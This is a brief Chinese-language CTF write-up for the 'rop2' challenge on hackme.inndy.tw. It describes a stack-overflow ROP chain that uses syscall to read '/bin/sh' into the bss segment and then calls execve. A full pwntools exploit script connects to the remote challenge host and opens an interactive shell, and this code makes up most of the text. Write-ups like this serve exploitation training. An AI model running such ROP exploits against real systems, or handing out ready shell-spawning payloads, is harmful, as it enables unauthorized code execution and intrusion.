题目用了syscall来调用了write,read函数,可以查看一下调用号
locate unistd_32
//或者
locate unistd_64
随便查看其中一个文件就可以看到调用号了
所以栈溢出rop调用read函数往bss段写'/bin/sh'然后再syscall(11,'/bin/sh',0,0) 即execve('/bin/sh',0,0),这里要注意execve的第一个参数是'/bin/sh'的地址
objdump -d -j .plt rop2 可以查看文件可用的plt
exp:
from pwn import *
#p = process('./rop2')
p = remote('hackme.inndy.tw',7703)
p.recvuntil('ropchain:')
payload = 'a'* 0xc + 'aaaa'
syscall_plt = 0x08048320
pppp_ret = 0x08048578
bss = 0x0804A020
#gdb.attach(p)
payload += p32(syscall_plt) + p32(pppp_ret)
payload += p32(3) + p32(0) + p32(bss) + p32(8)
payload += p32(syscall_plt) + p32(0xdeadbeef)
payload += p32(11) + p32(bss) + p32(0) + p32(0)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()